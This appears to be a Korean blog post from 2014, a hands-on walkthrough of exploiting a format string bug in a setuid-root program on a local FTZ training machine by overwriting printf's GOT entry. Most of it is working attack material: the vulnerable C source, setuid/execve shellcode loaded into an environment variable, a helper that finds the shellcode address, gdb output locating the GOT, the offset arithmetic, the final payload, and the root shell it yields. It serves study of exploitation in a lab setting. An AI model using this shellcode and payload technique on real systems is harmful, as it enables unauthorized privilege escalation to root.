티스토리 뷰

Pwnable/Technique

FSB를 이용한 GOT_OVERWRITE

err0rless313 2014. 10. 2. 22:09

FSB로 GOT OVERWRITE하기


실습환경 ->LOCAL FTZ( RED HAT9 )


----------------------------------------------------------------

[guest@ftz sys]$ whoami
guest
-> 나의 게정은 guest이다.


[guest@ftz sys]$ ll
total 32
-rwsr-xr-x    1 root     root        11675 Aug  6 08:10 fsb_got    //root의 setuid가 걸려있음
-rw-r--r--    1 root     root          179 Aug  6 08:19 fsb_got.c


[guest@ftz sys]$ cat fsb_got.c
#include <stdio.h>
#include <string.h>

int main( int argc, char **argv ) {

    char buf[101];
   
    strncpy( buf, argv[1], 100 );

    printf( buf );             //취약점!!
    printf( "huh..?" );     //got를 덮을것이기 때문에 이부분에서 실행된다.
   
    return 0;
}


사용할 쉘코드는 아래이며 환경변수로 등록하도록 하자.
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

[root@ftz sys]# export fsb=`python -c 'print "\x90" * 100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`



[guest@ftz sys]# cat get_env.c
#include <stdio.h>
#include <string.h>

int main( int argc, char **argv ) {

    long ptr = getenv( argv[1] );
   
    ptr += ( strlen( argv[0] ) - strlen( argv[2] ) ) * 2;

    printf( "\nUse ADDRESS [ %p ]\n\n", ptr );
    return 0;
} -> 쉘코드의 주소를 구하는 프로그램

[guest@ftz sys]# ./get_env fsb /root/sys/fsb_got

Use ADDRESS [ 0xbffffc20 ]

사용할 주소 쉘코드의 주소
0xbffffc20


(gdb) x/4i 0x804828c -> printf의 PLT
0x804828c <printf>:    jmp    ds:0x8049560 -> printf의 GOT
0x8048292 <printf+6>:    push   0x8
0x8048297 <printf+11>:    jmp    0x804826c <_init+24>
0x804829c <strncpy>:    jmp    ds:0x8049564



printf의 GOT영역의 주소
0x8049560
0x8049562 -> FSB를 위해 사용할 2바이트 뒤 주소



기본적인 FSB를 위해 10진수로 변환


->
\x60\x95\x04\x08
\x62\x95\x04\x08

0x1BFFF - 0xFC20
-> 50143

0xFC20 - 40 (앞에서 40바이트를 사용할 것이기 때문)
-> 64504


최종 익스플로잇
$(printf "aaaa\x60\x95\x04\x08aaaa\x62\x95\x04\x08")%8x%8x%8x%64504c%n%50143c%n



sh-2.05b# id
uid=0(root) gid=1000(guest) groups=1000(guest)
sh-2.05b# whoami
root    //root의 계정!


쉘이 따졌다.. 성공!




------------------------------------------------------------------------


FSB와 GOT의 기본만 알면 된다.

충분히 익히도록 하자.



댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함